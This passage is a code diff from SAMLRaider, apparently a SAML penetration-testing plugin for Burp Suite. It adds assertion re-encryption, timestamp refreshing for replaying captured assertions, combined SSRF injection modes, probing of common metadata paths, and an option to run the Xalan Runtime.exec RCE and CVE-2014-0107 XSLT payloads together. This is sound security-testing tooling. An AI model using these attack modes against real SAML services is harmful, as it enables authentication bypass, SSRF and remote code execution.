org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +import javax.crypto.KeyGenerator; +import javax.crypto.SecretKey; +import java.security.cert.X509Certificate; + +/// Encrypts a plaintext into a +/// using the SP's public certificate. +/// +/// Algorithm selection (in priority order): +/// 1. Algorithms read from an existing in the same +/// document — mirrors exactly what the SP already decrypted successfully. +/// 2. Hardcoded fallbacks: AES-256-CBC (data) + RSA-OAEP (key wrap). +/// +/// The cert itself only carries the RSA public key — it does not specify +/// preferred algorithms. SP metadata *can* include +/// hints, but most real-world metadata omits them. +public class AssertionEncryptor { + + /// Controls how the recipient certificate is identified inside the + /// EncryptedKey's KeyInfo element. + public enum KeyInfoStyle { + /// Embeds the full DER-encoded certificate (verbose but unambiguous). + FULL_CERT("Full X509Certificate"), + /// Embeds only the issuer DN + serial number (compact; matches what + /// most real IdPs produce and what strict SPs expect). + ISSUER_SERIAL("X509IssuerSerial"); + + private final String label; + KeyInfoStyle(String label) { this.label = label; } + @Override public String toString() { return label; } + } + + private static final String SAML_NS = "urn:oasis:names:tc:SAML:2.0:assertion"; + private static final String XENC_NS = "http://www.w3.org/2001/04/xmlenc#"; + + static final String DEFAULT_DATA_ALG = XMLCipher.AES_256; // aes256-cbc + static final String DEFAULT_KEY_ALG = XMLCipher.RSA_OAEP; // rsa-oaep-mgf1p + + static { + Init.init(); + } + + /// Encrypt the first plaintext found in {@code samlMessage}. + /// Algorithms are read from any existing in the same + /// document; falls back to AES-256-CBC + RSA-OAEP if none is present. + /// {@code issuerNameOverride} is the raw X509IssuerName string captured from the + /// original EncryptedAssertion in the document (preserving the IdP's exact DN format). + /// Pass {@code null} to fall back to Java's RFC 2253 serialization. + public static String encrypt(String samlMessage, X509Certificate recipientCert, + KeyInfoStyle keyInfoStyle, String issuerNameOverride) + throws Exception { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document doc = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + NodeList assertions = doc.getElementsByTagNameNS(SAML_NS, "Assertion"); + if (assertions.getLength() == 0) { + throw new IllegalArgumentException( + "No plaintext found to encrypt. " + + "Add one first — edit the XML directly or inject a plaintext assertion."); + } + Element assertion = (Element) assertions.item(0); + Node parent = assertion.getParentNode(); + + // Detect algorithms from any existing EncryptedAssertion in this document. + String dataAlg = detectDataAlgorithm(doc); + String keyAlg = detectKeyAlgorithm(doc); + + // AES key size must match the algorithm URI. + int keyBits = dataAlg.contains("aes128") ? 128 : dataAlg.contains("aes192") ? 192 : 256; + KeyGenerator kg = KeyGenerator.getInstance("AES"); + kg.init(keyBits); + SecretKey sessionKey = kg.generateKey(); + + // Wrap the session key with the SP's RSA public key. + XMLCipher keyCipher = XMLCipher.getInstance(keyAlg); + keyCipher.init(XMLCipher.WRAP_MODE, recipientCert.getPublicKey()); + EncryptedKey encryptedKey = keyCipher.encryptKey(doc, sessionKey); + + // Add the recipient cert to the EncryptedKey's KeyInfo. + KeyInfo encKeyInfo = new KeyInfo(doc); + X509Data x509Data = new X509Data(doc); + if (keyInfoStyle == KeyInfoStyle.ISSUER_SERIAL) { + XMLX509IssuerSerial is = (issuerNameOverride != null && !issuerNameOverride.isBlank()) + ? new XMLX509IssuerSerial(doc, issuerNameOverride, recipientCert.getSerialNumber()) + : new XMLX509IssuerSerial(doc, recipientCert); + x509Data.add(is); + } else { + x509Data.addCertificate(recipientCert); + } + encKeyInfo.add(x509Data); + encryptedKey.setKeyInfo(encKeyInfo); + + // Set up the data cipher and link the EncryptedKey into its KeyInfo. + XMLCipher dataCipher = XMLCipher.getInstance(dataAlg); + dataCipher.init(XMLCipher.ENCRYPT_MODE, sessionKey); + KeyInfo dataKeyInfo = new KeyInfo(doc); + dataKeyInfo.add(encryptedKey); + dataCipher.getEncryptedData().setKeyInfo(dataKeyInfo); + + // Encrypt — assertion is removed from the DOM; xenc:EncryptedData takes its place. + dataCipher.doFinal(doc, assertion, false); + + // Add inside EncryptedKey's EncryptionMethod + // to match the format real IdPs produce (explicit SHA-1 declaration for RSA-OAEP). + String DSIG_NS = "http://www.w3.org/2000/09/xmldsig#"; + NodeList encKeys = doc.getElementsByTagNameNS(XENC_NS, "EncryptedKey"); + if (encKeys.getLength() > 0) { + Element encKeyEl = (Element) encKeys.item(0); + NodeList methods = encKeyEl.getElementsByTagNameNS(XENC_NS, "EncryptionMethod"); + if (methods.getLength() > 0) { + Element method = (Element) methods.item(0); + Element digestMethod = doc.createElementNS(DSIG_NS, "ds:DigestMethod"); + digestMethod.setAttributeNS("http://www.w3.org/2000/xmlns/", "xmlns:ds", DSIG_NS); + digestMethod.setAttribute("Algorithm", DSIG_NS + "sha1"); + method.appendChild(digestMethod); + } + } + + // Wrap the EncryptedData in . + // Using the default namespace (no prefix) avoids undeclared-prefix serialization bugs + // in the Xerces XMLSerializer, and matches the format real IdPs produce. + Element encData = firstChildElement(parent, XENC_NS, "EncryptedData"); + if (encData == null) { + throw new IllegalStateException( + "Encryption produced no EncryptedData element — unexpected XMLCipher behaviour."); + } + Element wrapper = doc.createElementNS(SAML_NS, "EncryptedAssertion"); + wrapper.setAttributeNS("http://www.w3.org/2000/xmlns/", "xmlns", SAML_NS); + parent.replaceChild(wrapper, encData); + wrapper.appendChild(encData); + + // Strip carriage-return entities that the Xerces XMLSerializer inserts + // as Windows line endings inside base64 text nodes; real IdPs omit them. + return xmlHelpers.getString(doc).replace(" ", ""); + } + + /// Read the data-encryption algorithm URI from the first existing + /// / in the document. + private static String detectDataAlgorithm(Document doc) { + NodeList methods = doc.getElementsByTagNameNS(XENC_NS, "EncryptionMethod"); + for (int i = 0; i < methods.getLength(); i++) { + Element m = (Element) methods.item(i); + // Data-level EncryptionMethod is a direct child of EncryptedData. + if ("EncryptedData".equals(m.getParentNode().getLocalName())) { + String alg = m.getAttribute("Algorithm"); + if (!alg.isBlank()) return alg; + } + } + return DEFAULT_DATA_ALG; + } + + /// Read the key-transport algorithm URI from the first existing + /// / in the document. + private static String detectKeyAlgorithm(Document doc) { + NodeList methods = doc.getElementsByTagNameNS(XENC_NS, "EncryptionMethod"); + for (int i = 0; i < methods.getLength(); i++) { + Element m = (Element) methods.item(i); + if ("EncryptedKey".equals(m.getParentNode().getLocalName())) { + String alg = m.getAttribute("Algorithm"); + if (!alg.isBlank()) return alg; + } + } + return DEFAULT_KEY_ALG; + } + + private static Element firstChildElement(Node parent, String ns, String localName) { + for (Node n = parent.getFirstChild(); n != null; n = n.getNextSibling()) { + if (n.getNodeType() == Node.ELEMENT_NODE + && ns.equals(n.getNamespaceURI()) + && localName.equals(n.getLocalName())) { + return (Element) n; + } + } + return null; + } + + private AssertionEncryptor() {} +} diff --git a/src/main/java/helpers/AssertionManipulator.java b/src/main/java/helpers/AssertionManipulator.java index 0123270..f511e21 100644 --- a/src/main/java/helpers/AssertionManipulator.java +++ b/src/main/java/helpers/AssertionManipulator.java @@ -44,6 +44,32 @@ public static String extendValidity(String samlMessage, int hours) return xmlHelpers.getString(document); } + /// Resets all SAML timestamps to a fresh window centred on now: + /// IssueInstant / AuthnInstant = now + /// NotBefore = now − 1 h (absorbs clock skew) + /// NotOnOrAfter / SessionNotOnOrAfter = now + 1 h + /// + /// Use this when replaying a captured assertion — the validity window has + /// expired but all structural content is still what you want to test. + public static String refreshTimestamps(String samlMessage) + throws SAXException, IOException { + XMLHelpers xmlHelpers = new XMLHelpers(); + Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); + + long now = System.currentTimeMillis(); + String tNow = samlTime(now); + String past = samlTime(now - 3_600_000L); + String future = samlTime(now + 3_600_000L); + + updateAttr(document, "IssueInstant", tNow); + updateAttr(document, "AuthnInstant", tNow); + updateAttr(document, "NotBefore", past); + updateAttr(document, "NotOnOrAfter", future); + updateAttr(document, "SessionNotOnOrAfter", future); + + return xmlHelpers.getString(document); + } + // --- Status code manipulation --- /// Replaces every StatusCode Value with the SAML 2.0 Success URI. diff --git a/src/main/java/helpers/EncryptionSSRF.java b/src/main/java/helpers/EncryptionSSRF.java index 5f9129e..8801fee 100644 --- a/src/main/java/helpers/EncryptionSSRF.java +++ b/src/main/java/helpers/EncryptionSSRF.java @@ -33,6 +33,8 @@ public class EncryptionSSRF { private static final String DS_NS = "http://www.w3.org/2000/09/xmldsig#"; public enum Mode { + ALL( + "All 3 — CipherReference + DataReference + EncryptedKey KeyInfo"), CIPHER_REFERENCE( "CipherReference — ciphertext fetched from URL during decrypt"), DATA_REFERENCE( @@ -55,8 +57,13 @@ public static String apply(String samlMessage, Mode mode, String url) Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage); switch (mode) { - case CIPHER_REFERENCE -> applyCipherReference(document, url); - case DATA_REFERENCE -> applyDataReference(document, url); + case ALL -> { + applyCipherReference(document, url); + applyDataReference(document, url); + applyEncryptedKeyKeyInfo(document, url); + } + case CIPHER_REFERENCE -> applyCipherReference(document, url); + case DATA_REFERENCE -> applyDataReference(document, url); case ENCRYPTED_KEY_KEYINFO -> applyEncryptedKeyKeyInfo(document, url); } diff --git a/src/main/java/helpers/MetadataImport.java b/src/main/java/helpers/MetadataImport.java index dbb6303..e2d2d7d 100644 --- a/src/main/java/helpers/MetadataImport.java +++ b/src/main/java/helpers/MetadataImport.java @@ -13,17 +13,94 @@ import java.time.Duration; import java.util.ArrayList; import java.util.List; +import java.util.function.Consumer; /// Parses SAML 2.0 metadata (IdP or SP EntityDescriptor) and pulls every /// embedded X.509 certificate out of . Certificates are /// returned as base64-DER strings ready to feed into /// CertificateTabController.importCertificateFromString. -/// -/// Typical workflow per the KazHackStan deck: fetch `/idp/metadata` -/// (or the SP equivalent), extract the signing cert, then use it for -/// certificate-faking / Dupe-Key Confusion. public class MetadataImport { + public static final List COMMON_PATHS = List.of( + "/FederationMetadata/2007-06/FederationMetadata.xml", + "/saml/metadata", + "/saml/metadata.xml", + "/saml2/metadata", + "/saml2/metadata.xml", + "/sso/saml/metadata", + "/sso/saml2/metadata", + "/idp/metadata", + "/idp/saml/metadata", + "/idp/saml2/metadata", + "/sp/metadata", + "/sp/saml/metadata", + "/metadata", + "/metadata.xml", + "/.well-known/saml-metadata.xml", + "/Shibboleth.sso/Metadata", + "/simplesaml/module.php/saml/sp/metadata.php/default-sp", + "/simplesaml/saml2/idp/metadata.php", + "/auth/saml/metadata", + "/samlp/metadata", + "/app/saml/metadata" + ); + + /// Result of probing a single URL. + /// {@code xml} is non-null only when a valid EntityDescriptor was returned. + public record ProbeResult(String url, String status, String xml) { + public boolean isValid() { return xml != null; } + } + + /// Probe a single URL. Never throws — errors are captured in the status field. + public static ProbeResult probe(String url, HttpClient client) { + try { + HttpRequest req = HttpRequest.newBuilder(URI.create(url)) + .timeout(Duration.ofSeconds(10)) + .header("User-Agent", "SAMLRaider/metadata-import") + .GET() + .build(); + HttpResponse resp = client.send(req, HttpResponse.BodyHandlers.ofString()); + int code = resp.statusCode(); + if (code / 100 != 2) { + return new ProbeResult(url, "HTTP " + code, null); + } + String body = resp.body(); + if (body.contains("EntityDescriptor")) { + return new ProbeResult(url, "✓ Valid metadata", body); + } + String stripped = body.strip().toLowerCase(); + if (stripped.startsWith(" onResult) throws InterruptedException { + String origin = baseUrl.trim().replaceAll("/+$", ""); + HttpClient client = HttpClient.newBuilder() + .connectTimeout(Duration.ofSeconds(6)) + .followRedirects(HttpClient.Redirect.NORMAL) + .build(); + for (String path : COMMON_PATHS) { + if (Thread.currentThread().isInterrupted()) break; + ProbeResult result = probe(origin + path, client); + if (onResult != null) onResult.accept(result); + } + } + + private static String truncate(String s, int max) { + return s.length() <= max ? s : s.substring(0, max) + "…"; + } + /// One parsed cert entry. `use` is "signing", "encryption", or "" if /// the KeyDescriptor did not declare a use. public record Entry(String use, String base64Der) {} @@ -37,7 +114,7 @@ public static List extract(String metadataXml) throws SAXException, IOExc NodeList keyDescs = document.getElementsByTagNameNS("*", "KeyDescriptor"); for (int i = 0; i < keyDescs.getLength(); i++) { Element kd = (Element) keyDescs.item(i); - String use = kd.getAttribute("use"); // may be "" + String use = kd.getAttribute("use"); NodeList certs = kd.getElementsByTagNameNS("*", "X509Certificate"); for (int j = 0; j < certs.getLength(); j++) { String text = certs.item(j).getTextContent(); @@ -49,9 +126,8 @@ public static List extract(String metadataXml) throws SAXException, IOExc return out; } - /// Fetch metadata XML over HTTP(S) with a short timeout. The caller is - /// expected to validate the URL — this is a pentester tool, so we do not - /// enforce schemes or domains. + /// Fetch raw body over HTTP(S). Throws on non-2xx. Kept for callers that + /// want the raw body without ProbeResult wrapping. public static String fetch(String url) throws IOException, InterruptedException { HttpClient client = HttpClient.newBuilder() .connectTimeout(Duration.ofSeconds(8)) @@ -64,7 +140,7 @@ public static String fetch(String url) throws IOException, InterruptedException .build(); HttpResponse response = client.send(request, HttpResponse.BodyHandlers.ofString()); if (response.statusCode() / 100 != 2) { - throw new IOException("Metadata fetch returned HTTP " + response.statusCode()); + throw new IOException("HTTP " + response.statusCode()); } return response.body(); } diff --git a/src/main/java/helpers/XSLTPayloads.java b/src/main/java/helpers/XSLTPayloads.java index 7b88736..2940d8a 100644 --- a/src/main/java/helpers/XSLTPayloads.java +++ b/src/main/java/helpers/XSLTPayloads.java @@ -21,6 +21,7 @@ public class XSLTPayloads { public enum Flavor { + ALL("All 3 — Saxon SSRF + Xalan RCE (curl) + Class Instantiation"), SAXON_UNPARSED_TEXT("Saxon unparsed-text — blind SSRF (XSLT 2.0)"), XALAN_RUNTIME_EXEC("Xalan Runtime.exec — Java RCE (xmlsec ≤ 1.4.1)"), XALAN_CLASS_INSTANTIATION("Xalan DocumentHandler class instantiation (CVE-2014-0107)"); @@ -43,6 +44,7 @@ public static String stylesheetFor(Flavor flavor, String param) { case SAXON_UNPARSED_TEXT -> saxonUnparsedText(param); case XALAN_RUNTIME_EXEC -> xalanRuntimeExec(param); case XALAN_CLASS_INSTANTIATION -> xalanClassInstantiation(param); + case ALL -> throw new IllegalArgumentException("ALL is handled by the caller — call stylesheetFor per-flavor"); }; } diff --git a/src/main/java/model/BurpCertificateStore.java b/src/main/java/model/BurpCertificateStore.java index feb1e19..fc2a051 100644 --- a/src/main/java/model/BurpCertificateStore.java +++ b/src/main/java/model/BurpCertificateStore.java @@ -76,6 +76,13 @@ public void removeCertificate(BurpCertificate burpCertificate) { */ public List getBurpCertificates() { List certificates = new LinkedList<>(); + Enumeration en = rootNode.depthFirstEnumeration(); + while (en.hasMoreElements()) { + DefaultMutableTreeNode foundNode = (DefaultMutableTreeNode) en.nextElement(); + if (foundNode.getUserObject() instanceof BurpCertificate) { + certificates.add((BurpCertificate) foundNode.getUserObject()); + } + } return certificates; }